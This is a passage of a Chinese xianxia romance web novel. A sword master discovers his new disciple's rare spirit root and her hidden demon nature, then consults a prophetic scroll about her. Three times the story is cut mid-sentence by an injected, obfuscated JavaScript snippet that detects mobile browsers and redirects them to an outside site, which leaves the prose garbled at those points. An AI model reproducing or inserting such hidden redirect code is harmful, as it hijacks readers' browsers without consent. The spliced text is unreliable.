“淮冷,这是昆墟基础剑法,你且自己练着,我来教她筑基。”秦之游掏出一本书籍,递了过去,而后抬步走进了屋内。 淮冷接过,担忧地望了眼颜朝阙,嘴唇嚅动了几下。 他想提醒她,修炼不可急于求成,容易走火入魔。 可有师尊护在她的身边,应当没事的……吧? 颜朝阙似是通晓他的心意,安抚般地回望了一眼。 少年抿唇,终究没有多说一字。 “你可测过灵根?”秦之游在榻上坐下,身形高了颜朝阙一尺,垂眸问道。 灵根……应当是凡人修仙之根本? 颜朝阙生而为仙,不知这人间的灵根具体是何物,她摇了摇头。 秦之游周身的气息冷了三分,却不是对着颜朝阙的。 在昆墟派,即便是外门弟子,入道的第一件事情就是测灵根。 灵根的好坏,决定了修仙的资质与上限,更决定了应当以何种功法修炼。 天风派真是越来越不像话了,竟连灵根都不测。 也不知道白白埋没了多少人才。 秦之游用无甚波澜的声音命令道:“闭眼。” 颜朝阙对人间修仙之事的了解着实有限,此刻只能乖乖地听从他的教导。 那双漂亮的桃花眼慢慢阖上,浓密的睫羽投出一片阴影。 她感受到额间有一抹冰凉的触感,像是一小块冰抵住了肌肤。 一缕清凉的灵力顺着血液流遍全身,一下子就消除了她心头的燥热,让颜朝阙静下心来。 四肢百骸都像是浸泡在清泉中,酥酥麻麻地舒服极了。 她惬意地几乎要喟叹出声。 ……没想到秦之游的灵力如此舒服。 若他是极域中的男仙侍,她定要叫他日日这样伺.候自己。 可惜。 她感受到那股灵力扫过她的经脉,直奔丹田。 那是颜朝阙仙根的位置。 也不知道系统对她做了什么手脚,自从来到人界,她原本强壮的仙根萎缩得不成样子。 那储存在其中充盈似海的仙力,更是一滴都没有了。 气她得只想仰天长叹。 “无相灵根?!” 颜朝阙听见素来淡漠的真人,竟然惊诧地嚷了一声。 在她体内,他的灵力更是没礼貌地在枯瘦如柴的仙根上抚了足足三遍。 颜朝阙:? 她“唰”地睁开双眼,头一次在秦之游的脸上,瞧见了一抹难以掩藏的喜色。 “你可知自己是无相灵根?”他收回手指,眼眸如墨,唇角难得呈现出上扬的趋势,缓缓问道。 颜朝阙的脸上出现了迷茫,无相灵根……是啥? 见她水润的眸子带着不解,一眨不眨地盯着自己,秦之游心软了一角。 若非尨玉识才,恐怕仙门就要因天风派的疏忽而失去一位旷世奇才了。 “凡人当有灵根才能入仙门,灵根可分为金木水火土五类,每一类又分为上中下品。” 他低沉的嗓音响起,屋外的柏树翠叶相撞,似乎在窸窸窣窣地小声附和。 “绝大多数修士仅有单灵根,可吸收对应属性的灵气。” “双灵根者万不出一,三灵根者皆成大能。” “……而无相灵根,乃是五根上品灵根融合而成,从古至今只有一人。”秦之游望了她一眼,顿了顿,改口道,“两人。” 颜朝阙来了兴趣,顺着他的话问道:“除了我,还有谁?” 秦之游敛了敛神色,眸底墨色翻涌一刹,“本座的……师丈,安华真人。” 就是师祖那个被杀了证道的恋爱脑夫君。 饶是秦之游面上不显,颜朝阙也能感受到他的低落与惋惜。 唔,怎么不小心碰到人家心底的疤了。 “那师尊你呢,是什么灵根?”她转移了话题。 “冰火金三灵根。” 这倒是让颜朝阙有些讶异,她还以为秦之游这副冻死人的模样,只有冰灵根呢,没想到他体内竟还有火灵根。 也不知道会不会在他的身体里面打架。 “师尊是三灵根,可教得了我?”颜朝阙目光灼灼地问道。 这无相灵根听着不错,想来从秦之游手中抢走绝妖杵指日可待。 俊美无俦的真人挥了挥袖袍,满室清风霎时止息,周围静得落针可闻。 他的右手手掌现出一卷木质手札,几乎是狂妄道。 “这世上我若教不了你,便无人能教。” “你可知,无相灵根虽是极品,修行起来却并非易事。”秦之游将手札铺开,浅蓝色的灵力将它托至半空中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15635191|172652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 上面字迹清秀,笔锋圆润,是安华的真迹。 “五行相生相克,若不能在灵根中达成平衡之势,便会反噬其主。” “当初师丈花了足足一百年,才寻到这平衡之法。” 那一百年,他的修为不进反退。 颜朝阙听着,心中若有所思。 她能够肯定的是自己的仙根并未被替换。 那这所谓的“无相灵根”就是仙根。 而仙界滋养她千年的仙气,就是五行灵力融合后的力量。 秦之游的话还在继续:“在双灵根或三灵根中,总会有更为强势的一个,主导灵力周转过程。” “无相灵根则不同,五根灵根实力相当,这就要求修士每次吸收的五种灵力数量必须完全相同。” 他修长的指节点了点手札中部,一个金色的小人儿飘了出来。 几息的功夫,它分出了五道虚影,紧紧围在四周。 它们虽然做着相同的手势,但吸纳的灵力却各不相同,最后汇于百会穴上方,被中间的小人吸收。 “师丈说,得无相灵根者,修炼前,必须先学会分身术。”待小人展示完毕,秦之游抛出结论。 这分身术曾经又花了师丈五十年的时间。 思绪已起,久远的回忆浮现在秦之游的脑海中。 那日师丈坐在柏树下,暮云合璧,眼底映着橘红色的晚霞。 他轻拂着自己的头顶,温声诉说与师尊的过往,说那一百五十年,他如何被人骂作废物。 而师尊她又是如何一次次挺身护他。 彼时离那道该死的度天雷,不足十二个时辰。 想起往事,秦之游的指尖颤了颤,手札缓慢收起,落在了他充满凉意的掌心。 “师尊?”颜朝阙尾音扬起的叫唤声拉回了他的意识。 他看见她笑得轻快又从容,像是无知无畏地道:“我不想学这分身术,实在太过麻烦。” “我想直接吸收灵气。” 秦之游皱起眉,几乎是不假思索地厉声道:“不可!” 无相灵根修炼的凶险之处,难道她还没听明白? “师尊莫急,徒儿想先讨回一样东西。”颜朝阙目光扫过他腰间的储物袋,伸出手,“还请师尊将化形丹还给我。” “有了化形丹,胜算至少能多五成。” 秦之游眉头未展,“你要做什么?” “师尊放心,这回我不逃。” 她面上笑吟吟的,可眸子中满是执着,与秦之游僵持了片刻,最终还是如愿以偿。 颜朝阙吞下一颗化形丹,面容未变,身后却又明晃晃地翘起了五根蓬松洁白的尾巴。 看到这尾巴,秦之游便想起那晚在含情阁的荒唐情形。 他有些不自然地挪开了眼。 “师尊,你瞧好了。”颜朝阙轻喝一声,盘着腿开始吸收灵力。 原本晃动不止、勾人心弦的尾巴,现如今根根竖得笔直,空气中五种灵力精准地分别落在尾巴上,源源不断地同时传入颜朝阙的丹田中。 五行融合,果真是熟悉的仙气。 那原本枯萎的仙根,如同久旱逢雨的禾苗般,迅速恢复了生机。 练气中期、练气后期……筑基! 进阶,易如反掌。 她的耳边传来了秦之游轻微的抽气声。 21. 第二十一章 等等……可能也没那么易如反掌。 颜朝阙先是感觉尾巴尖像是被点燃了,而后灼热感顺着纤细的毛发涌至根部,她的后背都开始隐隐发烫。 她的尾巴好、好像要炸开了。 明明心法已经停止,可五行灵力宛如疯了般,仍旧不停地钻进那僵直的尾巴,几乎是无孔不入。 若是真炸了,那尾巴中残存的大量灵力定会伤到她。 颜朝阙的气息霎时变得有些紊乱。 她紧闭双眸,口中念念有词,想调动丹田内已储存的灵力,化作小结界护住自己。 可没等结界升起,她的尾巴上却多了一块凉飕飕的冰。 秦之游不知何时已经走到了她的身侧。 那“冰”像是一把小刷子,轻柔地上下抚摸着。 一根根躁动不安的幻尾,像是找到了一块浮木,纷纷卷在了冰上。 于是秦之游从手臂到指骨,都被洁白绵软的狐毛所覆盖,连一寸肌肤都瞧不见了。 秦之游从未与人这样亲昵过,心头划过奇异的感觉。 他下意识地抿起薄唇,但终究一字未说,将冰冰凉凉的灵力从尾尖输送到尾根,然后又小心翼翼地收回,如此循环往复。 他像是在优雅地布雨,将一场喷.薄欲出的山火彻底浇灭。 灼热感散去,颜朝阙的尾巴传来酥麻的痒意,仿佛有几只小虫子爬上了她的脊骨。 她忍不住抖了抖,连带着尾巴也轻颤起来,无意中拽动了秦之游的手。 “别动。”她听见他泠然如水的声音,似乎很是不悦。 他生气了? 颜朝阙仰起头,本以为会瞧见秦之游下沉的嘴角,可乍入眼的却是他覆着一片浅粉的耳垂。 她忽然起了几分坏心思,仿若不经意道:“师尊,你耳朵红了。” 颜朝阙话音刚落,尾巴上骤然窜起一抹刺骨的冷意。 若说方才勉强算得上“怜香惜玉”,现在就几乎是恼羞成怒了。 “咔嚓”,一道细小的声音传入两人耳朵中。 幻尾终究还是承受不住,在秦之游冰系灵力的涤荡下,碎成了一地冰渣。 还未来得及消化的五行灵力不管不顾地涌进颜朝阙的身体,震荡着她的经脉。 若非秦之游第一时间将翠绿色的固灵丸递到了她的嘴边,她差点以为是他故意报复。 她顺着他的手,将丹药囫囵吞了下去。 “将意念集中于丹田,用本源灵力将多余的五行之力反逼出去。”秦之游的声音在她头顶响起,沉闷而急促。 丹药一瞬间就融化在了颜朝阙体内,片刻前合成的灵力隐隐有了澎湃之势。 颜朝阙强忍着灵力逆行的冲动,闭眼道了句:“师尊,不用。” 她轻启朱唇,放在身前的双手摆弄出秦之游从未见过的手势。 颜朝阙吟诵着一段艰深晦涩的咒语,这是独属于妖仙的召唤咒。 她没有刻意收着声音,因为这世间能使用此咒的,已只有她一人。 与秦之游给她的建议截然相反,随着一个个字符从颜朝阙的唇齿间吐出,她的身体仿佛成了一个巨大的容器,一波又一波的灵力从七窍进入身躯。 外来的灵力一下下冲击着她的丹田,撕扯着她的经脉。 颜朝阙的身体像是要被劈成两半,甜腻的血腥味哽在她的喉咙口。 “检测到宿主身体异样,是否向系统求救,倒计时,五,四……” 系统冷冰冰的提示音又突然在脑海中响起。 它盘腿而坐,机械的微笑里透着无情,等待着她露出无助的神色。 颜朝阙低低地笑了。 想让她认输? 她偏不。 她的身体,只能由她自己主宰。 就在系统念到“一”时,颜朝阙的体内升腾起一股磅礴的力量,它融于奔腾的血液之中,从跃动的心脏中猛地迸发出来,而后迅速流遍全身。 它任何五行之力,甚至可以说—— 它凌驾于任何灵力之上。 原本相互冲撞的灵力,霎时偃旗息鼓,在强大的威压下乖巧地融合在一起。 修为不受控制地节节攀升,直至……筑基后期。 体内的灵力最终被颜朝阙的仙根吸收殆尽。 她睁开了眼眸,可眼中再也不是墨黑的瞳色。 那双桃花眼成了两块冰蓝的琥珀,比雪山顶上的天池更加清亮透彻。 阳光在她的眸中投下一小块金色的碎影,美得不可方物。 颜朝阙微微抬头,狭长的幽蓝色瞳孔中映出秦之游失了神的面庞。 他常年冰冷的外表有了一道裂缝,她从中窥见了一丝罕见的迷茫。 “你,”秦之游顿了好半晌,才轻声问下去,“竟是妖族?” 妖族修炼功法与人修完全不同,因而气息也天差地别。 从前的颜朝阙身上没有一丝妖气,即便她展露出对妖族过分的关心,秦之游也从未怀疑过她的身份。 可如今,强大的妖气几乎要溢出那双灵动的眸。 “我是。”颜朝阙背挺得笔直,坦坦荡荡地答了一句。 这没什么好羞愧的,她又何须遮遮掩掩。 她停止吟诵符咒,幽深的瞳孔一点点放大,蓝色褪去,桃花眼恢复如常。 仿佛方才的一切,都只是秦之游的错觉。 可他的心依旧震颤着,往日里平静无波的心池,漾起层层涟漪,惊诧之感半分未减。 谁能想到,他降妖除魔了数百年,最后…… 竟收了一只妖作徒弟?! 若是师尊在世,定会教导他速速除去此妖。 免得乱他道心。 可偏生,他根本下不去手。 “师尊想杀我吗?”颜朝阙望着他皱起的剑眉,忽然笑了,漫不经心地问道。 语气轻快地就好像在问他今天吃了什么。 “你不怕本座真的动手杀了你么?”秦之游垂眸问道。 颜朝阙答得干脆:“当然怕。” “但我知道师尊不会。” 若他真是好杀之人,便不会给小猫一个容身之所,也不会将水妖从眼皮子底下放走。 “因为师尊您——”她眨巴了一下眼睛,刻意拖长了音调,“善心未泯。” 不仅如此,脾气还好得可怕。 即便她调戏他、欺骗他,他也从没有真正生气。 颜朝阙的话不知挑动了秦之游哪根神经,他俊美的脸肉眼可见地沉了沉。 “颜朝阙!” “你自以为很了解本座是不是?死在绝魔剑和绝妖杵下的妖族,早已成千上万。只要本座想,立马就可以取你性命。” 他咬牙切齿般道,字字句句说得狠绝。 可他越是言辞激烈,颜朝阙的心就越是安定。 从前她心中只有七成把握,如今已经升至九成。 在秦之游的“怒火”下,她不躲不避,反而举起右手,一下子就攥紧了他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15635192|172652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 垂在身侧的手指。 一把粗糙的铁剑被塞进了他宽厚的掌心。 颜朝阙葱白柔嫩的手覆上秦之游的手背,稍稍用力,让那铁剑距离她纤细的脖颈仅两寸距离。 “若师尊要杀,我乖乖不动就是。” 她仰望着他,素白的脸上是淡然的笑容,乍看起来乖顺无比,可细细瞧去分明从骨子里散发着狂妄。 实际上,颜朝阙藏在袖袍中的左手早已生长出洁白的鳞片。 若秦之游当真敢起杀心,她锐利到连火螭都抵抗不了的指甲,会一瞬间彻底贯穿他的丹田。 从仙界到人间,她被削弱得厉害。 妖力与仙力共生共存,仙力没了之后,妖力也荡然无存。 她如今筑基成功,血液中的妖力便恢复了一成。且只要她想,便能瞬间将仙根内全部的灵力转化为妖力。 撕碎一个凡人,还是绰绰有余。 不过除非必要,她还是不想动用如此血腥的法子。 见秦之游迟迟没有动作,她握着他的手,将剑刃又往前送了两寸。 她还要再用力,却感觉秦之游的手僵硬得厉害。 “够了!” 他终于怒喝出声,挥开她的手,将铁剑扔向了远处。 许是内心挣扎了太久,他鼻尖的气息都有几分沉重。 秦之游凝视着她,眼底像是冻着千尺寒潭,散发着冷冽的气息。 “这几日你在星回峰好好待着,哪里也不准去。”他用堪称严厉的语气命令道。 说罢,他甩了甩袖子,头也不回地离开了小屋。 颜朝阙的眸中现出几分笑意。 果真是只纸老虎。 她的左手下一刻恢复如常。 秦之游走后没几息,淮冷便匆匆忙忙地踏了进来。 “师姐,我看见师尊方才离开了星回峰,他面色极差,你没事……” 等看清颜朝阙的姿势,他没说完的话彻底卡在了喉咙里。 师姐她,她怎么躺在师尊的榻上,翘着二郎腿,一副悠然自得的模样? “师弟。”颜朝阙慢悠悠地坐起身,转过头叫了他一声,“不知道你能不能下山,帮我带些东西上来?这很重要。” 淮冷神色一凛,他就说师姐把师尊气得面色铁青,她心里定然也很忐忑。 肯定在想解决办法。 “师姐要我带什么?”少年几乎是义不容辞道。 颜朝阙揉了揉肚子,冲他歪头一笑:“我饿了,你帮我买些吃食,再带一壶好酒来。” 好……诶? 淮冷呆了一瞬,几乎以为自己听错了。 师尊都快爆炸了,师姐是一点儿也不在乎啊。 “有什么问题吗?”颜朝阙见他半晌未动,挑眉问道。 少年走了会神,下意识地摇了摇头,而后反应了过来。 “师尊他……”在她盈盈的目光下,淮冷的声音越来越小。 算了,皇上不急,太监急什么? 少年咽了口口水,话锋一转问道:“师姐想吃什么?” 颜朝阙笑得落拓潇洒:“只要是你买的,都可以。” 为了让灵力乖乖听话,她这一番折腾颇费心力,如今又饿又累。 估计吃什么都香的紧。 可她的话落进少年的耳中,重点就放在了前半句。 呜,师姐居然如此信任他。 淮冷短促地应了一声,慌忙转过身去,脸颊上出现了一抹可疑的红云。 22. 第二十二章 昆墟派只有丹房,没有膳房。 因此淮冷只得御剑下山,等再回到星回峰时,天已经彻底黑了。 他在柏树林里落了地,踏上最后一级台阶时,微微愣住了。 不远处,一盏羊角灯挂在枝梢上,莹莹的暖光从琉璃般的灯壁中透出来,留下一圈黄晕。 灯尾挂着一串紫色的小铃铛,风吹过,发出叮叮当当的声响。 坐在树下的紫衣姑娘似是听到他的脚步,转过身来,冲他粲然一笑。 “师弟,你回来啦!”夜空中,她的嗓音如此清脆。 明明这灯也不亮。 可打在她的身上,就莫名让人觉得温暖。 自从娘亲走后,便再也没有人为他留灯。 淮冷忙不迭垂下眼帘,遮住快要升起的水雾,他慢慢走了过去,从怀中取出在城中买到的吃食。 他用灵力温了一路,此刻还有几分热气。 也不知颜朝阙从哪里翻出了一方小木桌和两张小凳,淮冷将东西稳稳当当地放在桌上。 颜朝阙早就闻到了香味,她迫不及待地打开了布包。 入目是几块方方正正的东西,上面缀着些细小的莹白花瓣,整个透亮得和冰玉似的。 和她在日月峰的姐姐们那里吃到的鲜花饼有些相似,又不完全像。 “这是什么?”她不解地问道。 不愧是人间,仙人们可不会有闲情雅致,做这些精致的玩意儿。 “是赵记的槐花糕,城头的老翁说这家是最、最好吃的。” 老翁还说,如今山脚下的槐花都谢得差不多了,约莫再过三日便再也没有槐花糕可吃了。 城内不许御剑,淮冷想起自己跑得气喘吁吁的模样,脸上浮现出几分赧然。 幸好最后一屉还没有卖掉。 颜朝阙葱白的手指捏起一小块,先是嗅了嗅槐花香,而后把它含在了嘴里,温温甜甜的触觉勾得她肚子里的馋虫大叫。 不过几息,她就连着吞了三块。 果真好吃。 槐花糕下面还有一个小布包,这回没等她问,淮冷就解释道:“这是李氏夫妇做的猪肉包子。” 那包子上面露着黄色的汤汁,外皮松软,一看就不错。 颜朝阙还没来得及伸手去拿,面前又多了个油纸包。 这次她认出了味道,是一只烤鸭。 淮冷又利落地从储物袋里拿出两个小酒坛,摆在了她的右手边。 “不知道这些……师姐够不够吃?”少年低垂着头,头顶的羊角灯让他的睫羽投下阴影,遮住了眼底的青涩。 颜朝阙抬起头,眼神落在了他柔顺乌黑的长发上。 自从卸下伪装在外的狼皮,少年在她面前,如今简直乖得像一只小狗。 她忍住了动手摸头的冲动,笑得爽朗畅快,“够!” “那师姐吃罢,我去练剑……” 可他话还没说完,手上就多了一抹柔嫩到不可思议的触感。 颜朝阙拽了拽他的手掌,一触即离。 “一个人好生无趣,坐下一起吃点吧。”她邀约道。 淮冷嘴唇动了动,他想说自己早已辟谷多年,不用再进食这些……他最后还是一个字都没说。 “师弟可喝过酒?” 颜朝阙拔掉酒坛上的木头塞子,抱着它满足地深吸了一口,随意问道。 少年迟疑地摇了摇头。 从前他忙着练剑提升修为,半滴都不曾尝过。 颜朝阙把酒推到他面前,轻轻挑了挑眉,趣味盎然道:“试试?” 她紧接着又给自己开了一坛,伸手让两个陶瓷罐碰在一起,发出清脆的声响。 她仰头娴熟地灌了一口,动作优雅又恣意。 淮冷看到晶莹的酒珠顺着她的下巴,滑过她脖颈间雪白细腻的肌肤,最后没入衣襟。 他莫名有些口干舌燥,便也依葫芦画瓢地抄起酒坛,仰头喝了一口。 “咳咳咳……”辛辣的液体如喉,少年几乎要忘了怎么吞咽,被呛得剧烈咳嗽起来。 好苦。 他的胃里像是被放了一把火。 颜朝阙见到他狼狈的窘状,支着脑袋低低笑出声来。 淮冷手忙脚乱地用袖子擦干净唇角的液体,不知是出于什么心理,下意识地挺直了背,不想让自己露怯。 他还要再喝,却被颜朝阙拽住了手腕。 她夺过酒坛,反手往他的掌心塞了个油纸裹着的鸭腿。 褐色的鸭皮被烤得有些焦,滋滋地冒着油,里面的肉却鲜嫩极了,甚至能看到些许纤维。 颜朝阙撕下另一只鸭腿,递到自己嘴边,咬了一大口。 她的动作和淑女两字沾不上边,却自带一股风流潇洒,让旁人的心情也畅快起来。 淮冷不动声色地咽了口口水。 “吃呀。”颜朝阙又“咕咚”灌了一口酒,冲他欢快道。 少年终于低下头,细嚼慢咽起来。 咸咸的带着几分肉的香甜,一下子就冲淡了胃里的灼烧感。 好好吃。 “喵~”颜朝阙突然听到一声娇弱的猫叫。 是腰间的储物袋,小猫妖醒了。 她咽下最后一口肉,将它放了出来。 它终于睡饱了,不再是一副病恹恹的模样,微微使力便敏捷地跃上了桌子。 它的眼睛直勾勾地盯着剩下的烤鸭,小爪子“啪”地一下拍上颜朝阙的手背。 “你想吃是不是?” 她含笑问道,捉住它粉色的肉垫,不动声色地输了些自己的妖力。 猫妖毛茸茸的耳朵不受控制地抖了抖,它想抽回自己的爪子,却觉得眼前这个同族的妖力实在舒服,最终还是乖乖地任她捏着。 它的尾巴勾了一下她的手臂,以示催促。 颜朝阙松开手,那小小的身躯便窜了出去,叼起了一块无骨的鸭脯。 还真是会挑。 约莫一炷香后,小猫从她手中抢下了最后一块槐花糕,颜朝阙也不恼,伸手揉了揉它的小脑袋。 一人一猫餍足地伸了伸腰,那慵懒的模样几乎无异。 星回峰上一片温馨,可百里之外的秦之游就没有那么轻松了。 “秦真人当真决定好了?”一个身披上品法衣的和尚右手行掌印,微微躬身,他眼眸半阖,浑身散发着悲天悯人的气息。 秦之游颔首以示肯定。 和尚几不可闻地叹了口气,他的手拂过袈裟上用金丝绣着的莲花纹样,朝前做了个“请”的手势。 他赤脚领着秦之游向前,脚下的整条通道都是由上好的玄玉制成的,从一端到另一端,正 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15635193|172652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好是九步。 身侧的莲池随着两人的脚步,漾起了道道波纹。 秦之游走完九步,半寸也前进不得。 眼前是一道强大的结界,四周围满了苍黄色的佛文,字字流光溢彩,威不可测。透过佛文的间隙望去,能看见结界正中央有一卷轴。 此轴谓之“通天轴”,可窥见未来,无人知它是何人所制,从何处而来。 但它无疑是整个修真界的宝贝,存放在万佛宗已有千年之久。 秦之游眉目平静,可只有他自己知道,他的心恰如脚下的莲池。 惶惶不平。 百年前,师尊曾卜过一卦,大凶。 卦象显示,天下终将倾覆于妖族与魔族之手。 于是他自小被耳提面命,要求时刻谨记以降妖除魔为己任,而他也杀了许多发狂的恶妖。 偏偏造化弄人,他居然成了一只妖的师父。 还是一只有无相灵根,修为必定进阶神速的半妖。 秦之游下不了动手的决心,便只能让天道为他作出选择—— 他要窥一窥颜朝阙的未来。 秦之游将手掌贴上了结界,佛文触及他骨节分明的手指,缓缓停止转动,而后发出诡异的红色光芒。 它们疯狂地吸收着他体内的灵力,再将其传入通天轴内。 秦之游并未惊慌,他早已预料到了。 若想预知未来,必须付出足够的代价,这代价并非是普通修士承受得起的……多年前,甚至有修士被活生生抽干了灵力,都没能知道心中所求。 万佛寺的住持总觉得,这一次通天轴格外贪婪。 身侧那名冠天下的剑尊,此刻面庞发白,额头上甚至渗出了一层薄汗。 一向平静无波的他,也忍不住跟着皱起了眉头。 好在他的担忧并未持续得太久。 卷轴终于缓缓打开,入目却是刺眼的鲜红色,秦之游的瞳孔猛地一缩。 他的心脏剧烈地疼痛起来,像是被人狠狠捏住,又像是被彻底贯穿。 “师尊,抱歉了,你注定该死在我的剑下。” 卷轴上熟悉的姑娘睁着一双冰蓝色的眼眸,扬着下巴,俯视着他,冷漠无情道。 她对着地上那奄奄一息的男子,毫不留情地刺下最后一剑。 “杀你,是我的使命。”颜朝阙的声音仿若恶鬼的呢喃,萦绕在他的耳边,仿佛将他一瞬就带到了罗刹殿。 卷轴合起,秦之游的面色逐渐变得很难看。 方才濒死的感觉太过真切。 他扶着绝魔剑的手都有些抖。 若他不杀颜朝阙,未来……她就会杀他。 他设想过通天轴给出的答案,但没成想,竟然如此荒谬又惨烈。 若他没看错,彼时颜朝阙已有大乘修为,距离飞升仅一步之遥。 只要她想,颠覆天下易如反掌。 莫非师尊说的是对的,他应该早日扼杀这抹隐患。 他闭起双眼,满脑子都是颜朝阙。 她时而露出俏丽而狡黠的笑容,时而又绝情得可怕。 那是他六百年来的第一个徒弟。 秦之游呼吸不畅起来,他从不知道自己是这样优柔寡断的人。 “秦真人,你快看!” 他的耳畔忽然响起住持的惊呼。 23. 第二十三章 秦之游并未感受到通天轴吸取了他的灵力,可它却又兀自打开了。 这一次,画面模糊得像是罩上了一层纱。 卷轴上的颜朝阙,正闭眼慵懒地躺在床榻上……确切地说是谁的腿上。 “师尊,我想吃葡萄了。”她睁开一双水灵灵的眼眸,直勾勾地瞧着上方。 粉色的双唇微微张开,露出一小排皓齿,翘首以待。 她的声音又娇又媚,简直要酥到人骨子里去。 画面中出现了一只熟悉的手,一颗被剥了皮的紫葡萄递到了她的嘴边。 颜朝阙将果肉,连同那如玉的指尖都含在嘴里,秦之游看见“自己”的手僵住,竟没有抽走。 颜朝阙伸手,将他的手背贴上她的脸颊。 她眯起眼睛,露出满足的神色,嘟嘟囔囔道:“还好当初没杀了师尊,否则今日哪里吃得到这么甜的葡萄。” 画面戛然而止,整个过程也不过几息罢了。 速度快得仿佛只是通天轴的恩赐。 结界上金色的符文弹开了秦之游的手,震得他虎口发麻。 秦之游盯着那半空中的卷轴,半晌都没能回过神来。 ……什么意思? 为什么第一次他死在她的剑下。 可到了第二次,他还好端端地活着。 还和颜朝阙如此亲昵,仿若是道、道侣一般。 一想到刚才羞耻的画面,秦之游的脸上就泛起火烧云,心跳得厉害。 “净空法师可见过这种情况?”他好不容易找回自己的声音,迟疑地问万佛寺的住持。 毕竟这位住持保管通天轴已有百年之久,应当见过不少求知之人。 在他期盼的目光下,净空缓缓摇了摇头。 秦之游的眸子不自觉黯了下来。 水面上的涟漪愈发密集了,像是要把他困在此地。 只消一眼,净空便知道,闻名天下的秦真人心乱了。 “通天轴所示不假,却也未必是真。”他淡然一笑,似是在开导秦之游一般,“一念成佛,一念成魔,皆是‘因果’二字罢了。” 他修禅道已久,虽无法如通天轴般展现未来,却也能一窥人之命格。 眼前这位强大的剑修,在一月前还是十死无生的绝煞之命,如今已成九死一生。 想来这也是通天轴为何打开了两次的缘故。 他不知道秦之游这一月间发生了什么,但未必是坏事。 只是出家人不可轻易介入旁人的因果,有些话他也不便多说,只能含糊其辞地掩过。 净空的手上突然多了一方狭长木匣,上面凿刻着精致的莲花纹路。 他轻柔地打开盒盖,“此乃三日前鄙寺偶得的坞石,是上等的铸剑材料。” “最为可贵的是里面竟融了一片蛟龙鳞,虽历经千年仍熠熠生辉。” 净空将它递到了秦之游的面前,含笑道:“今日便将它赠与秦真人,权当是一月前加固结界的回礼。” 禅宗并不需要这样的利器,但这世上没有任何一个剑修能拒绝这样一份厚礼。 坞石黄澄澄的光在他眼底跃动,秦之游伸出双手接了过去。 “若贵寺有求,尽管遣人去昆墟寻我。”他郑重地承诺道。 他最后望了一眼通天轴,它安静地悬在空中,没有再给予任何回应。 秦之游跟着净空走出了万佛寺,御剑南归。 他的鼻尖萦绕着淡淡的水汽,夏季将至,昆墟城又进入了雨季。 只是水汽没多久便散了,扑面而来的是一股热浪。 眼前并非是星回峰,而是隐匿在山林中的一处小洞。 秦之游着实不想面对颜朝阙。 几百年来,这还是他第一次想要逃避些什么。 “秦真人,您今日怎么来了?”没走几步,一道少年音从旁边窜出来,听起来惊喜极了。 是八峰明哲长老的小弟子,燕阳。 明哲是剑器双修,收下的这个小弟子也是个实打实的器痴,整日泡在岩洞中,琢磨如何炼制出绝世好剑。 此刻他小跑着冲过来,脸上黑黢黢的,乍一看,还以为是哪里来的乞丐。 他虽然浑身脏兮兮的,可一双眸子亮得如星星一般。 “您上次教我的‘回气成灵’我总是学不好,已经失败许多次了,您能再指点我一下吗?”他语速快极了,说话像是滚珠子一般。 秦之游颔首,道了句“好”。 他脱下身上那洁白如月的长袍,将它挂在了一旁,隔着一层单衣,手臂上流畅的线条若隐若现。 他利落地卷起袖子,小臂上饱满的肌肉顿时显露无余。 若是颜朝阙在此,定会被惊得哇哇大叫。 秦之游亲自为燕阳挑了一块粗铁,让他丢入面前的小熔池中。 此岩洞中共有三口熔池,炙热的岩浆一刻不息地翻滚着,掀起阵阵热浪。 燕阳盘腿坐在石头上,一眨不眨地盯着池子。 “凝神静气,撤去结界,用神识笼住散逸的精气,融!”过了约莫一炷香的时间,秦之游瞧准时机,喝道。 燕阳乖乖照做,可他的额头冒出了豆大的汗,似乎很是痛苦。 赤红色的铁水缓缓从池中分离,不过三秒却又猛地坠下,砸出了数朵“火”花。 “真人……我又失败了。”少年垂头丧气,懊恼道。 秦之游操纵着灵力,取回铁水,将它灌注到一旁的模具中。 他嗓音淡然,不带任何疑问地断言:“你害怕动用神识。” “你怕这岩浆会伤到你的神识,所以撤下灵力结界后,总是无法收回材料中的精气。” “等你下定决心时,精气便都跑光了。” 燕阳被说中了小心思,窘迫地低着头,羞愧道:“对不起真人……” “这世上哪有那么多两全其美的方法,若是想要好剑,便要舍得让自己的神识去火里好好淬炼一番。” 秦之游教导着小辈,声音似钟鼓轻敲,慢悠悠地回荡在山洞中。 当初他炼成绝魔剑时,也不过才二十岁罢了。 “若只想着全身而退,那便要接受平庸遗憾的结局。” “犹豫太多,反倒蹉跎了时光。” 他说罢,燕阳还没作出反应,自己倒先愣住了。 他遇到的困境,又何其相似! 